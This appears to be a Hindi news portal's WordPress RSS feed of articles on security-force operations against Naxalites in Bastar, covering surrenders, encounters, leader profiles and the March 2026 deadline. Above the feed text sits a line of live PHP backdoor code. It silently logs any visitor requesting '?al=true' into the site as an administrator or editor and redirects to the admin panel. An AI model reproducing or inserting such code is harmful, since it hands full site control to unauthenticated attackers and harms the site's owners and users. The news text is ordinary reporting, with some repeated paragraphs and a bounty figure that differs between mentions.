// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Naxalism – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Wed, 01 Apr 2026 06:39:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 बस्तर में नक्सलवाद के खिलाफ जवानों की सफलता: टॉप लीडरों का एनकाउंटर, हथियारों के साथ सरेंडर, जानें 5 प्रमुख कारण https://pratyushaashakinayikiran.com/?p=209402 Wed, 01 Apr 2026 06:39:00 +0000 https://pratyushaashakinayikiran.com/?p=209402 जगदलपुर
 छत्तीसगढ़ में नक्सलवाद लगभग खत्म हो गया है। सुरक्षाबल के जवानों ने डेडलाइन 31 मार्च 2026 से पहले ही नक्सलियों के कई टॉप लीडरों का एनकाउंटर किया। इसके साथ ही बड़ी संख्या में नक्सलियों के सरेंडर के कारण जवानों को बड़ी सफलता मिली है। नक्सल प्रभावित इलाकों में सुरक्षाबल कैंप की स्थापना से जवानों को इस मिशन में बड़ी मदद मिली है।

बस्तर संभाग के पुलिस महानिरीक्षक सुंदरराज पी ने बताया कि नक्सल विरोधी अभियान में स्थानीय लोगों का साथ मिला। इसके साथ ही रणनीति बनाई गई थी कि फोर्स की पहुंच उन इलाकों में होनी चाहिए जो हार्डकोर नक्सली माने जाते हैं। जिसके बाद सुरक्षा कैंप की स्थापना पर फोकस किया गया। कैंप की स्थापना से स्थानीय लोगों से संवाद आसान हुआ इसके साथ की नक्सलियों की गतिविधियों पर सीधी नजर रखी गई। जिस कारण से नक्सलवाद के खिलाफ जीत मिली है।

हार्डकोर नक्सली इलाके में फोर्स की पहुंच
बस्तर संभाग में 2025 में नक्सल विरोधी अभियान के साथ-साथ क्षेत्र की जनता से संवाद के मकसद से 58 नवीन सुरक्षा कैम्प की स्थापना की गई। इसके साथ ही 22 मार्च 2026 तक 15 नवीन सुरक्षा कैम्प स्थापित किए गए। जिसमें नारायणपुर जिले के हार्डकोर नक्सली इलाका माने जाने वाले जटवर, मदौड़ा, वाड़ापेंदा, कुरूषकोड़ो, हच्चेकोटी, आदनार, बोटेर, दिवालूर, तुमनार। बीजापुर जिले के आदवाड़ा, मुक्कावेली, गुण्डेपुरी, पालसेगुड़ी, सेन्ड्रा, बड़ेगुण्डेम जैसे स्थान पर सुरक्षा कैंप की स्थापना की गई।

ग्रामीणों तक योजनाओं का पहुंचा लाभ
बस्तर संभाग के सुरक्षा कैम्पों की स्थापना के साथ-साथ विकास कार्य को भी प्राथमिकता दी गई। नक्सली इलाकों में शिक्षा, स्वास्थ्य, सार्वजनिक वितरण प्रणाली, बिजली, बैंक, आंगनबाड़ी केन्द्र एवं अन्य सुविधायें उपलब्ध कराया गया। जिस कारण से नक्सल प्रभावित क्षेत्रवासियों में शासन-प्रशासन के प्रति विश्वास बढ़ाने लगा।

नक्सलियों के खिलाफ रणनीति के साथ लड़ाई लडी गई। अलग-अलग मोर्चे पर रणनीति तैयार की गई थी। जो गांव नक्सलवाद से मुक्त हो रहे थे वहां, सरकारी योजनाएं पहुंचाकर ग्रामीणों का विश्वास हासिल किया गया।

सुंदरराज पी, पुलिस महानिरीक्षक, बस्तर रेंज

नक्सलियों के सरेंडर से संगठन कमजोर
बस्तर संभाग में नक्सलवाद के खात्मे के लिए नक्सल प्रभावित इलाकों में माओवादी कैडरों को सरेंडर के लिए प्रेरित किया गया। इसके लिए 'पूना मारगेम' अभियान चलाया गया। अधिकारियों के अनुसार, इस अभियान के तहत 2025 में 1573 और 2026 में 373 माओवादियों ने सरेंडर किया है। जिस कारण से नक्सली संगठन को झटका लगा। वहीं, 2024 में 792 माओवादियों ने हिंसा त्यागकर सरकार की नीतियों का साथ दिया और समाज की मुख्यधारा में लौटे हैं।

बड़े नक्सलियों का एनकाउंटर
नक्सल विरोधी अभियान के तहत सुरक्षाबल के जवानों ने टॉप नक्सली लीडरों को टारगेट किया। नक्सल विरोधी अभियान के तहत सुरक्षाबल के जवानों ने बसवाराजू, माड़वी हिडमा जैसे नक्सलियों का एनकाउंटर किया। जिसके बाद से नक्सली संगठन कमजोर होता गया।

नक्सल संबंधी घटनाओं का विवरण साल 2024 साल 2025 साल 2026 (22 मार्च तक)
मुठभेड़ में मारे गए नक्सली 217 256 26
गिरफ्तार नक्सली 929 898 94
नक्सलियों द्वारा बरामद हथियार 286 677 237
सरेंडर करने वाले नक्सली 792 1573 373
बरामद किए गए आईईडी विस्फोटक 308 894 220

हथियार के साथ सरेंडर से झटका

माओवादी संगठनों को सबसे बड़ा झटका उस समय लगा जब नक्सलियों ने अपने हथियारों के साथ सरेंडर किया। बस्तर संभाग में पुलिस ने नक्सली मुठभेड़, माओवादियों द्वारा डम्प किये गये हथियार एवं पूना मारगेम के तहत सशस्त्र माओवादियों द्वारा हिंसा त्यागकर समाज के मुख्यधारा में शामिल होनों से नक्सली संगठन को झटका लगा।

 

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बस्तर का आखिरी बड़े कैडर का नक्सली पापाराव करेगा सरेंडर, 17 साथियों के साथ समर्पण का संकेत https://pratyushaashakinayikiran.com/?p=207376 Tue, 24 Mar 2026 10:39:00 +0000 https://pratyushaashakinayikiran.com/?p=207376 जगदलपुर

इंद्रावती के घने जंगलों से एक ऐसी खबर सामने आ रही है, जो बस्तर के दशकों पुराने हिंसक अध्याय के अंत का संकेत देती नजर आ रही है। लंबे समय से सक्रिय शीर्ष माओवादी कमांडर पापा राव के आत्मसमर्पण की तैयारी ने सुरक्षा एजेंसियों और स्थानीय प्रशासन को सतर्क कर दिया है।

बताया जा रहा है कि पापा राव अपने 17 साथियों के साथ हथियारों सहित समर्पण के लिए जंगल से बाहर निकल चुका है। उसे सुरक्षित लाने के लिए सुरक्षा बलों की विशेष टीम इंद्रावती राष्ट्रीय उद्यान के भीतर रवाना हो चुकी है। यदि यह आत्मसमर्पण सफल होता है, तो इसे बस्तर में माओवादी हिंसा के अंत की निर्णायक शुरुआत माना जा रहा है।

पापाराव उर्फ मंगू (56) ये छत्तीसगढ़ के सुकमा जिले का रहने वाला है। वर्तमान में DKSZCM मेंबर है। साथ ही पश्चिम बस्तर डिवीजन कमेटी का इंचार्ज और दक्षिण सब जोनल ब्यूरो का सदस्य है। अपने पास AK-47 राइफल रखता है। बस्तर के जल-जंगल जमीन से वाकिफ है इसलिए कई बार पुलिस की गोलियों से बचकर निकला है।

इसने सरेंडर कर दिया या फिर एनकाउंटर में मारा गया तो नक्सलियों की पश्चिम बस्तर डिवीजन कमेटी खत्म हो जाएगी। देवा के सरेंडर करने के बाद अब पापाराव ही एक मात्र ऐसा नक्सली बचा है जो फाइटर है। बाकी बचे हुए अन्य टॉप कैडर्स के नक्सली उम्र दराज हो चुके हैं। पापाराव के सरेंडर करते ही बस्तर से माओवाद का सफाया तय माना जा रहा है।

पापा राव का समर्पण
    करीब 25 लाख रुपये के इनामी पापा राव वेस्ट बस्तर डिवीजन का सचिव और दंडकारण्य स्पेशल जोनल कमेटी का अहम सदस्य रहा है। लंबे समय तक बस्तर में माओवादी गतिविधियों की कमान उसके हाथों में रही।

    ऐसे में उसका आत्मसमर्पण केवल एक व्यक्ति का सरेंडर नहीं, बल्कि पूरे संगठनात्मक ढांचे के कमजोर पड़ने का प्रतीक माना जा रहा है। सुरक्षा एजेंसियों का मानना है कि इससे शेष कैडर का मनोबल भी टूटेगा और वे भी आत्मसमर्पण के लिए प्रेरित होंगे।

साल भर में ऐसे बिखरा संगठन
पिछले साल ही नक्सल संगठन के सबसे खूंखार नक्सली माड़वी हिड़मा, नक्सल संगठन का सचिव बसवाराजू, गणेश उइके समेत 17 बड़े कैडर्स का एनकाउंटर किया गया। भूपति, रूपेश, रामधेर जैसे बड़े नक्सलियों ने अपने सैकड़ों साथियों के साथ हथियार डाल दिए हैं।

जबकि मिशिर बेसरा और गणपति ये 2 बड़े टॉप के नक्सली बचे हैं, जो वर्तमान में संगठन चला रहे हैं। बस्तर में बटालियन नंबर 1 का कमांडर देवा ने भी हिंसा का रास्ता छोड़ दिया है। अब केवल पापाराव ही एक ऐसा नक्सली बचा है जो लड़ाकू है। अगर इसका एनकाउंटर होता है या फिर गिरफ्तारी और सरेंडर होता है तो निश्चित ही नक्सल संगठन खत्म है।

लगातार ऑपरेशन से टूटा नेटवर्क
पिछले कुछ वर्षों में सुरक्षा बलों ने माओवादी नेटवर्क पर लगातार सर्जिकल और रणनीतिक हमले किए हैं। बसव राजू, गुडसा उसेंडी, कोसा, हिड़मा और सुधाकर जैसे बड़े कमांडरों के मारे जाने से संगठन की रीढ़ पहले ही टूट चुकी थी। इसके अलावा भूपति, देवजी, मल्लाजी रेड्डी, रुपेश और सुजाता समेत करीब 2700 माओवादियों के आत्मसमर्पण ने संगठन को बिखेर दिया है। अब बस्तर में करीब 50 माओवादी ही सक्रिय बताए जा रहे हैं, जिनमें कोई बड़ा नेतृत्वकर्ता नहीं बचा है।

विकास ने बदली तस्वीर
माओवाद के कमजोर होने का सबसे बड़ा कारण ग्रामीणों का घटता समर्थन भी रहा है। जिन क्षेत्रों में कभी ‘जनताना सरकार’ का प्रभाव था, वहां अब सड़क, स्कूल, स्वास्थ्य सेवाएं और सुरक्षा कैंप स्थापित हो चुके हैं। सरकार की पुनर्वास नीति और रोजगार के अवसरों ने युवाओं को मुख्यधारा की ओर आकर्षित किया है। इससे माओवादियों का सामाजिक आधार लगभग समाप्त हो गया है।

झारखंड में बची अंतिम चुनौती
हालांकि बस्तर, ओडिशा और तेलंगाना में माओवादी प्रभाव काफी हद तक खत्म हो चुका है, लेकिन झारखंड अब भी एक चुनौती बना हुआ है। वहां पोलित ब्यूरो सदस्य मिसिर बेसरा अपने 70-80 साथियों के साथ सक्रिय है। सुरक्षा एजेंसियों के अनुसार, उसकी लोकेशन का पता लगाया जा चुका है, लेकिन उसने अपने ठिकानों के आसपास बारूदी सुरंगों का जाल बिछा रखा है, जिससे ऑपरेशन चुनौतीपूर्ण बना हुआ है।

लक्ष्य के करीब सुरक्षा एजेंसियां
केंद्रीय गृहमंत्री द्वारा 31 मार्च 2026 तक माओवादी हिंसा खत्म करने के लक्ष्य के बीच तेजी से बदले हालात सुरक्षा एजेंसियों के लिए बड़ी उपलब्धि माने जा रहे हैं। पापा राव का संभावित आत्मसमर्पण इस लक्ष्य की दिशा में एक निर्णायक कदम हो सकता है। यदि झारखंड में भी अंतिम अभियान सफल रहता है, तो देश माओवादी हिंसा के लंबे दौर से पूरी तरह मुक्त हो सकता है।

जिनके सरेंडर या एनकाउंटर के बाद खत्म होगा एंटी नक्सल ऑपरेशन

1. मुपल्ला लक्ष्मण राव उर्फ गणपति उर्फ रमन्ना उर्फ राजन्ना, 3.5 करोड़ का इनाम

2. मिशिर बेसरा उर्फ भास्कर उर्फ सर्निमल उर्फ सुनील, 1.30 करोड़ का इनाम

1. मुपल्ला लक्ष्मण राव उर्फ गणपति, 3.6 करोड़ का इनाम

गणपति भाकपा (माओवादी) का पूर्व महासचिव था। 1992 में वो पीपुल्स वॉर ग्रुप (PWG) का महासचिव बना और 2004 में CPI (माओवादी) बनने के बाद 2018 तक इसकी कमान संभाली। पोलित ब्यूरो मेंबर और सेंट्रल कमेटी में एडवाइजर है। 1992 से लेकर 2018 तक जितने नक्सली हमले हुए, सब इसी के नेतृत्व में हुए।

गणपति पर छत्तीसगढ़ और महाराष्ट्र सरकार ने 1-1 करोड़ का इनाम रखा है। जबकि आंध्र ने 25 लाख, झारखंड ने 12 लाख और NIA ने 15 लाख का इनाम रखा है। ओडिशा, प. बंगाल और तेलंगाना ने भी गणपति पर इनाम की घोषणा कर रखी है।

2003 में आंध्र प्रदेश के CM रहे चंद्रबाबू नायडू पर हमले का आइडिया और स्ट्रैटजी दोनों गणपति की थी। नक्सलियों के संगठन में मौजूद हमारे सोर्स के मुताबिक, नायडू पर हमले का आइडिया पोलित ब्यूरो के कई मेंबर्स को जोखिम भरा लगा था। कई लोग इसके सपोर्ट में भी नहीं थे। हालांकि गणपति इससे पीछे हटने को राजी नहीं हुआ। नायडू पर हमले ने केंद्र से लेकर राज्य सरकार तक को बड़ा झटका दिया था।

ये सिर्फ अकेली घटना नहीं है, जो गणपति के नेतृत्व में अंजाम दी गई हो। ऐसी 10 बड़ी घटनाएं हैं, गणपति जिनका मास्टरमाइंड रहा।

2. मिशिर बेसरा उर्फ भास्कर, 1.30 करोड़ का इनाम

बेसरा झारखंड के गिरिडीह जिले के मदनडीह गांव का रहने वाला है। वो पोलित ब्यूरो और सेंट्रल कमेटी का मेंबर है। इसके अलावा ईस्टर्न रीजनल ब्यूरो मिलिट्री का इंचार्ज और प्रवक्ता है। मिशिर बेसरा ने कई बड़े हमलों के आइडिया से लेकर प्लानिंग और एग्जीक्यूशन में मुख्य भूमिका निभाई।

एंबुश लगाने में माहिर:

पहले एंटी नक्सल टीम का हिस्सा रहे एक अधिकारी ने बताया, 'बेसरा का सबसे बड़ा काम लेवी वसूलना है। इसके पकड़े गए साथियों ने बताया कि संगठन के लिए बेसरा सबसे ज्यादा पैसा इकट्ठा करता है। टीम को बढ़ाने के लिए वो अपने इलाके के सबसे अच्छे लड़ाकों को रिक्रूट करता है। एक लीडर की तरह हमले की रणनीति बनाता है और खुद भी लड़ता है।

अधिकारी आगे बताते हैं, 'वो लड़ाकों को ट्रेंड करने के लिए पूरे देश में जाता है। बेसरा के जैसा एंबुश संगठन में कुछ ही लोग लगा पाते हैं। यही वजह है कि उसे पकड़ने के लिए मेरे वक्त तक (2023 तक) करीब 8 टीमें तैनात की गई थीं। अब तो और भी टीमें बन गई हैं।'

‘बेसरा लड़ाकों का घेरा बनाने, एंबुश लगाने और बंकर बनाने में माहिर है। उसका काम हमले की रणनीति बनाना और एग्जीक्यूट होने तक उसकी निगरानी करना है। वो अपने इलाके में नई भर्तियां भी करता है। 1990 से नक्सली गतिविधियों में एक्टिव है। उसे कोल्हान-सारंडा जंगलों में किए गए कई हमलों का मास्टरमाइंड माना जाता है।’

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नक्सलवाद खात्मे की डेडलाइन करीब, सुरक्षाबलों के रडार पर चार शीर्ष कमांडर समेत 300 माओवादी https://pratyushaashakinayikiran.com/?p=199161 Thu, 19 Feb 2026 09:35:00 +0000 https://pratyushaashakinayikiran.com/?p=199161 रायपुर.

नरेंद्र मोदी सरकार 31 मार्च 2026 तक पूर देश से नक्सलवाद पूरी तरह से खत्म करने की तिथि निर्धारित की थी। नक्सलवाद खात्मे की डेडलाइन अब करीब आ गई है। इसे देखते हुए सरकार ने वामपंथी उग्रवाद के खिलाफ एक बार फिर से बड़ा अभियान चलाने के निर्देश दिए हैं। सभी नक्सल प्रभावित राज्यों में सघन अभियान चलाय़ा जा रहा है।

सुरक्षाबलों के रडार पर चार शीर्ष कमांडर समेत 300 नक्सली हैं। सुरक्षाबलों के निशाने पर प्रतिबंधित भारतीय कम्युनिस्ट पार्टी (माओवादी) की शीर्ष चार केंद्रीय समिति (सीसी) के सदस्यों में मिसिर बेसरा उर्फ भास्कर, देवजी उर्फ कुंभा दादा उर्फ चेतन, राममन्ना उर्फ गणपति उर्फ लक्ष्मण राव और मल्लाह राजा रेड्डी उर्फ सागर शामिल हैं। इधर गृह मंत्रालय (Ministry Of Home Affairs) ने एक बयान में कहा है कि वामपंथी उग्रवाद (एलडब्ल्यूई) से प्रभावित जिलों की संख्या 18 से घटकर 11 हो गई है।

चार शीर्ष कमांडर समेत 300 नक्सलियों की तलाश

सुरक्षाबलों को इन चार शीर्ष कमांडर समेत करीब 300 नक्सलियों की तलाश है. अधिकारियों ने कहा कि या तो वे आत्मसमर्पण कर दें, अन्यथा मार्च 2026 की समयसीमा तक नक्सलवाद को खत्म करने का लक्ष्य हासिल करने के लिए सघन अभियानों के दौरान सुरक्षाबल उन्हें खत्म कर देंगे.
नक्सलवाद से प्रभावित जिलों की संख्या घटी

गृह मंत्रालय ने अक्टूबर 2025 में कहा था कि नक्सलवाद से सबसे ज्यादा प्रभावित जिलों की संख्या घटकर छत्तीसगढ़ के तीन रह गई है, जिसमें बीजापुर, सुकमा और नारायणपुर शामिल हैं. मंत्रालय ने एक बयान में कहा है कि वामपंथी उग्रवाद (एलडब्ल्यूई) से प्रभावित जिलों की संख्या 18 से घटकर 11 हो गई है. मंत्रालय ने कहा कि नरेंद्र मोदी सरकार 31 मार्च 2026 तक नक्सलवाद के खतरे को पूरी तरह से खत्म करने के लिए प्रतिबद्ध है.

मंत्रालय ने कहा कि नरेंद्र मोदी सरकार 31 मार्च 2026 तक पूर देश से नक्सलवाद पूरी तरह से खत्म करने के लिए प्रतिबद्ध हैं।
देवजी और उसके सहयोगी केसा सोढ़ी के इलाके में मौजूद होने की खुफिया जानकारी मिलने के बाद मंगलवार को छत्तीसगढ़-तेलंगाना सीमा पर एक सघन अभियान चल रहा है। अधिकारियों ने बताया कि रेड्डी को छोड़कर बाकी सभी शीर्ष कमांडर इस क्षेत्र में सक्रिय हैं। रेड्डी के बारे में कहा जाता है कि वह ओडिशा में छिपा हुआ है। सुरक्षाबलों को इन चार शीर्ष कमांडर समेत करीब 300 नक्सलियों की तलाश है। अधिकारियों ने कहा कि या तो वे आत्मसमर्पण कर दें, अन्यथा मार्च 2026 की समयसीमा तक नक्सलवाद को खत्म करने का लक्ष्य हासिल करने के लिए सघन अभियानों के दौरान सुरक्षाबल उन्हें खत्म कर देंगे।

नक्सलवाद से प्रभावित जिलों की संख्या घटी
गृह मंत्रालय ने अक्टूबर 2025 में कहा था कि नक्सलवाद से सबसे ज्यादा प्रभावित जिलों की संख्या घटकर छत्तीसगढ़ के तीन रह गई है। जिसमें बीजापुर, सुकमा और नारायणपुर शामिल हैं। मंत्रालय ने एक बयान में कहा है कि वामपंथी उग्रवाद (एलडब्ल्यूई) से प्रभावित जिलों की संख्या 18 से घटकर 11 हो गई है।

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नक्सलवाद के अंत की उलटी गिनती शुरू: रायपुर में अमित शाह की अगुवाई में उच्चस्तरीय रणनीतिक बैठक https://pratyushaashakinayikiran.com/?p=196313 Sun, 08 Feb 2026 09:56:00 +0000 https://pratyushaashakinayikiran.com/?p=196313 रायपुर

देश से नक्सलवाद के पूर्ण उन्मूलन को लेकर केंद्र और नक्सल प्रभावित राज्यों के बीच आज रायपुर में निर्णायक दौर की बैठकों का सिलसिला शुरू हो गया है। केंद्रीय गृह मंत्री अमित शाह की अध्यक्षता में आयोजित इन बैठकों को मार्च 2026 की तय समय-सीमा से पहले की सबसे अहम रणनीतिक बैठक माना जा रहा है।

पहली समीक्षा बैठक सुबह शुरू हुई, जिसमें छत्तीसगढ़ के मुख्यमंत्री विष्णुदेव साय, उप मुख्यमंत्री एवं गृह मंत्री विजय शर्मा, गृह विभाग के वरिष्ठ अधिकारी, राज्य के पुलिस महानिदेशक सहित देश के नक्सल प्रभावित राज्यों के डीजीपी, गृह सचिव और शीर्ष सुरक्षा अधिकारी शामिल हैं।

बैठक में नक्सल प्रभावित इलाकों की मौजूदा सुरक्षा स्थिति, इंटेलिजेंस नेटवर्क की मजबूती, सुरक्षाबलों के ऑपरेशन की गति और बचे हुए संवेदनशील क्षेत्रों में कार्रवाई को तेज करने पर विस्तृत चर्चा की जा रही है। तय समय-सीमा के भीतर नक्सलवाद के अंतिम गढ़ों को समाप्त करने के लिए ठोस एक्शन प्लान तैयार किया जा रहा है।

दिनभर चलेगा मंथन
पहली बैठक दोपहर 12:45 बजे तक चलेगी। इसके बाद दोपहर 2 बजे तक दूसरी समीक्षा बैठक आयोजित की जाएगी। दोपहर 2 से 3 बजे तक लंच ब्रेक रहेगा, जबकि शाम 3 बजे से 4:15 बजे तक एक बार फिर उच्चस्तरीय चर्चा होगी। इसके पश्चात शाम 5 बजे से 6:10 बजे तक “छत्तीसगढ़ @ 25 – शिफ्टिंग द लेंस” विषय पर राष्ट्रीय कॉन्क्लेव का आयोजन प्रस्तावित है, जिसमें राज्य के भविष्य और विकास के नए दृष्टिकोण पर विचार किया जाएगा।

दो प्रमुख एजेंडों पर होगा फैसला
उप मुख्यमंत्री एवं गृह मंत्री विजय शर्मा ने बताया कि यह 31 मार्च 2026 की डेडलाइन से पहले की अंतिम बड़ी समीक्षा बैठक है। बैठक में दो मुख्य मुद्दों पर विशेष रूप से चर्चा हो रही है। पहला, देश को तय समय सीमा तक पूरी तरह सशस्त्र नक्सलवाद से मुक्त करने की रणनीति। दूसरा, बस्तर सहित नक्सल प्रभावित क्षेत्रों में लंबे समय से रुके विकास कार्यों को गति देने का रोडमैप।

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बीजापुर में सुरक्षाबलों की बड़ी कामयाबी: 8 लाख के इनामी सहित 6 नक्सली ढेर, CM साय बोले– लाल आतंक का अंत अब दूर नहीं https://pratyushaashakinayikiran.com/?p=191289 Thu, 13 Nov 2025 12:50:00 +0000 https://pratyushaashakinayikiran.com/?p=191289 रायपुर

बीजापुर जिले के नेशनल पार्क क्षेत्र में छत्तीसगढ़ पुलिस, जिला रिज़र्व गार्ड (DRG) और स्पेशल टास्क फोर्स (STF) की संयुक्त कार्रवाई में मुठभेड़ के दौरान छह नक्सली न्यूट्रलाइज किए गए। इसमें ₹8 लाख का इनामी कन्ना ऊर्फ बुचन्ना भी शामिल है, जो लंबे समय से इस क्षेत्र में हिंसा, भय और नक्सल गतिविधियों को संचालित कर रहा था। सुरक्षाबलों को मिली बड़ी सफलता पर मुख्यमंत्री विष्णु देव साय ने गहरी सराहना व्यक्त की है।

मुख्यमंत्री विष्णु देव साय ने सुरक्षाबलों की इस सफलता की सराहना करते हुए एक्स पर लिखा – बीजापुर जिले के नेशनल पार्क क्षेत्र में छत्तीसगढ़ पुलिस, डीआरजी और एसटीएफ की संयुक्त कार्रवाई के दौरान छह माओवादी न्यूट्रलाइज हुए हैं। इसमें आठ लाख रुपये का इनामी कन्ना ऊर्फ बुचन्ना भी शामिल है। जिसके न्यूट्रलाइज होने से इस क्षेत्र में फैले माओवादी आतंक के एक लंबे अध्याय का अंत हुआ है।

मुख्यमंत्री विष्णु देव साय ने सुरक्षाबलों की इस सफलता की सराहना करते हुए एक्स पर लिखा – यह उपलब्धि पुलिस बलों के उत्कृष्ट समन्वय, साहस और सटीक रणनीति का परिणाम है। लाल आतंक के समूल नाश की दिशा में यह कार्रवाई एक निर्णायक पड़ाव है।

उन्होंने कहा- छत्तीसगढ़ सरकार, यशस्वी प्रधानमंत्री नरेंद्र मोदी जी के मार्गदर्शन और केंद्रीय गृह मंत्री अमित शाह जी के नेतृत्व में, 31 मार्च 2026 तक नक्सलवाद के पूर्ण उन्मूलन के संकल्प के साथ इस मिशन को पूरे समर्पण और प्रतिबद्धता से आगे बढ़ा रही है। राज्य सरकार और सुरक्षा एजेंसियां एकजुट होकर इस लड़ाई को निर्णायक अंत तक ले जाएंगी।

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बस्तर में खौफ में आए नक्सली संगठन, अमित शाह की रणनीति का दिखा असर https://pratyushaashakinayikiran.com/?p=146161 Sat, 05 Apr 2025 03:39:00 +0000 https://pratyushaashakinayikiran.com/?p=146161 रायपुर
 छत्तीसगढ़ में नक्सलवाद के खिलाफ लगातार एक्शन हो रहे हैं। सुरक्षाबल के जवान नक्सलियों के गढ़ माने जाने वाले अबूझमाड़ में घुसकर कार्रवाई कर रहे हैं। जिसके बाद नक्सली खौफ में आ गए हैं। ऐसे में नक्सली संगठन की तरफ से शांति की पहल का एक लेटर जारी किया गया है। शांति की पहल को लेकर दावा किया जा रहा है कि नक्सली संगठन अब कमजोर हो गए हैं। केंद्र सरकार भी नक्सलवाद के खात्मे के लिए लगातार सपोर्ट कर रही है। केंद्रीय गृहमंत्री अमित शाह लगातार नक्सलवाद के खिलाफ रणनीति बना रहे हैं और उसकी मॉनिटरिंग कर रहे हैं।

अमित शाह के डेडलाइन क्या है?

छत्तीसगढ़ में नक्सवाद के खात्मे की कमान खुद केंद्रीय गृहमंत्री अमित शाह ने अपने हाथों में ले रखी है। अमित शाह लगातार नक्सल विरोधी अभियानों की समीक्षा कर रहे हैं और रणनीति भी बना रहे हैं। अमित शाह ने नक्सलवाद के खात्मे के लिए एक डेडलाइन तक की है। शाह ने 31 मार्च 2026 तक देश से नक्सलवाद को खत्म करने की डेट तय की है। यह डेडलाइन तय होने के बाद सुरक्षाबल के जवान ताबड़तोड़ एक्शन कर रहे हैं। सेना की पहुंच उन इलाकों में हो गई है जहां कभी नक्सलियों की बिना इजाजत के कोई बाहरी व्यक्ति कदम नहीं रख सकता था।

गृहमंत्री ने दिया है दो टूक जवाब

नक्सली संगठन का एक लेटर सामने आया है। इस लेटर में उन्होंने कहा कि सरकार को युद्ध विराम की घोषणा करनी चाहिए। वह शांति से वार्तालाप करना चाहते हैं। हालांकि उन्होंने उसके लिए शर्त रखी है कि सरकार सेना की कार्रवाई रोके। नए इलाकों में बनाए गए कैंप को हटा दिया जाए। नक्सलियों की शर्त पर राज्य के गृहमंत्री विजय शर्मा दो दो टूक जवाब दे चुके हैं कि नक्सली संगठन हिंसा का रास्ता छोड़कर मुख्यधारा में लौटें उन्होंने कहा कि किसी भी शर्त पर बातचीत नहीं होगी।

क्यों शांति चाहते हैं नक्सली

नक्सलियों की शांति पहल को लेकर बस्तर के रहने वाले वरिष्ठ साहित्यकार रजीव रंजन ने नवभारत टाइम्स डॉट कॉम को बताया कि- ऐसा पहली बार हुआ है जब नक्सली इतने कमजोर हैं। जिस तरह से 2024 में नक्सलियों के खिलाफ ऑपरेशन हुए उसके बाद इस साल की शुरुआत में जवानों ने माओवादियों के बड़े कैडर को मार गिराया हो उससे वह खौफ में आ गए हैं। उन्होंने कहा कि यह शांति पहल नक्सलियों का एक ट्रैप है। इस ट्रैप का फायदा उठाकर वह अपने लिए समय की मांग कर रहे हैं।

उन्होंने कहा कि यह खुद को और अपने संगठन के टॉप लीडरों की बचाने की नक्सलियों की एक साजिश है। इस साजिश के जरिए नक्सली सरकार को शांतिवार्ता में उलझाकर जवानों की कार्रवाई रोकना चाहते हैं। वह जिस युद्ध विराम की बात कर रहे हैं वह खुद उन्हें करना चाहिए। सरेंडर करके सरकार की जो पुनर्वास नीति है उसका लाभ उठाना चाहिए।

हथियारों और लीडरों की कमी

उन्होंने कहा कि सुरक्षाबल के जवानों ने अबूझमाड के उन इलाकों में कैंप स्थापित कर लिए हैं जिन्हें नक्सली अपना सबसे सुरक्षित ठिकाना मानते थे। नक्सलियों के खिलाफ जवान लगातार कार्रवाई ही नहीं कर रहे हैं उनके हथियार और विस्फोटकों को भी जब्त कर रहे हैं जिससे संगठन के पास आधुनिक हथियारों की भी कमी हो गई है। ऐसे में वह शांति का ट्रैप बिछाने की कोशिश में हैं। वह अपने टॉप लीडरों को सुरक्षित स्थानों में पहुंचाना चाहते हैं।

पहली बार ऐसा एक्शन

उन्होंने कहा कि इससे पहले हम बस्तर में देखते थे कि सरकार और जवान शांति के लिए पहल करते थे। लेकिन इस बार उल्टा है। जवान और सरकार ताबड़तोड़ कार्रवाई कर रहे हैं और नक्सली शांति की बात कर रहे हैं। वह भारी दबाव में हैं। उन्होंने कहा कि सरकार को शांति पहल करनी चाहिए लेकिन बस्तर में जवानों की कार्रवाई तब तक नहीं ठहरनी चहिए जब तक की नक्सलवाद पूरी तरह से घुटने नहीं टेक देता है।

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